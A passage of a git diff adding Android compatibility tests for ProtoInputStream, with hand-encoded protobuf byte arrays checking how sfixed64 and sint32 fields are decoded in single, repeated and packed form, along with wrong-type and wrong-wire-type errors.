+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x21,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x29,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x31,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x39,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+ // 8 -> 1
+ (byte) 0x41,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x09,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x19,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x21,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x29,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x31,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x39,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ long[][] results = new long[7][2];
+ int[] indices = new int[7];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ assertEquals(Long.MIN_VALUE, results[5][0]);
+ assertEquals(Long.MIN_VALUE, results[5][1]);
+ assertEquals(Long.MAX_VALUE, results[6][0]);
+ assertEquals(Long.MAX_VALUE, results[6][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new long[0]);
+ testRepeatedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(long[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SFIXED64;
+ final long FIELD_ID = fieldFlags | ((long) 121 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.sfixed64FieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ long[] result = new long[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readLong(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.sfixed64FieldRepeated.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.sfixed64FieldRepeated[i], result[i]);
+ }
+ }
+
+ public void testPacked() throws IOException {
+ testPacked(0);
+ testPacked(1);
+ testPacked(5);
+ }
+
+ private void testPacked(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_SFIXED64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x10,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x12,
+ (byte) 0x10,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 8 -> 1
+ (byte) 0x42,
+ (byte) 0x10,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 -> -1
+ (byte) 0x1a,
+ (byte) 0x10,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x22,
+ (byte) 0x10,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x2a,
+ (byte) 0x10,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x32,
+ (byte) 0x10,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x3a,
+ (byte) 0x10,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ long[][] results = new long[7][2];
+ int[] indices = new int[7];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ assertEquals(Long.MIN_VALUE, results[5][0]);
+ assertEquals(Long.MIN_VALUE, results[5][1]);
+ assertEquals(Long.MAX_VALUE, results[6][0]);
+ assertEquals(Long.MAX_VALUE, results[6][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testPackedCompat() throws Exception {
+ testPackedCompat(new long[0]);
+ testPackedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testPackedCompat(long[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SFIXED64;
+ final long FIELD_ID = fieldFlags | ((long) 122 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.sfixed64FieldPacked = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ long[] result = new long[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readLong(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.sfixed64FieldPacked.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.sfixed64FieldPacked[i], result[i]);
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readInt(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SFIXED64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x08,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readLong(FIELD_ID_1);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_2:
+ pi.readLong(FIELD_ID_2);
+ // don't fail, fixed32 is ok
+ break;
+ case (int) FIELD_ID_3:
+ pi.readLong(FIELD_ID_3);
+ // don't fail, length delimited is ok (represents packed sfixed64)
+ break;
+ case (int) FIELD_ID_6:
+ pi.readLong(FIELD_ID_6);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSInt32Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSInt32Test.java
new file mode 100644
index 0000000..f6b254b
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamSInt32Test.java
@@ -0,0 +1,546 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamSInt32Test extends TestCase {
+
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, not written
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x02,
+ // 6 -> MAX_VALUE
+ (byte) 0x30,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0x01,
+ // 4 -> MIN_VALUE
+ (byte) 0x20,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 5 -> MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[] results = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ fail("Should never reach this");
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0]);
+ assertEquals(1, results[1]);
+ assertEquals(-1, results[2]);
+ assertEquals(Integer.MIN_VALUE, results[3]);
+ assertEquals(Integer.MAX_VALUE, results[4]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat(0);
+ testReadCompat(1);
+ testReadCompat(-1);
+ testReadCompat(Integer.MIN_VALUE);
+ testReadCompat(Integer.MAX_VALUE);
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(int val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_SINT32;
+ final long FIELD_ID = fieldFlags | ((long) 70 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.sint32Field = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ int result = 0; // start off with default value
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.sint32Field, result);
+ }
+
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SINT32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x02,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0x01,
+ // 4 -> MIN_VALUE
+ (byte) 0x20,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 5 -> MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+
+ // 6 -> MAX_VALUE
+ (byte) 0x30,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x02,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0x01,
+ // 4 -> MIN_VALUE
+ (byte) 0x20,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 5 -> MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[][] results = new int[5][2];
+ int[] indices = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new int[0]);
+ testRepeatedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(int[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_SINT32;
+ final long FIELD_ID = fieldFlags | ((long) 71 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.sint32FieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ int[] result = new int[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readInt(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.sint32FieldRepeated.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.sint32FieldRepeated[i], result[i]);
+ }
+ }
+
+ public void testPacked() throws IOException {
+ testPacked(0);
+ testPacked(1);
+ testPacked(5);
+ }
+
+ private void testPacked(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_SINT32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x02,
+ (byte) 0x00,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x12,
+ (byte) 0x02,
+ (byte) 0x02,
+ (byte) 0x02,
+ // 6 -> MAX_VALUE
+ (byte) 0x32,
+ (byte) 0x0a,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 3 -> -1
+ (byte) 0x1a,
+ (byte) 0x02,
+ (byte) 0x01,
+ (byte) 0x01,
+ // 4 -> MIN_VALUE
+ (byte) 0x22,
+ (byte) 0x0a,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ // 5 -> MAX_VALUE
+ (byte) 0x2a,
+ (byte) 0x0a,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ (byte) 0xfe, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x0f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ int[][] results = new int[5][2];
+ int[] indices = new int[5];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+ break;
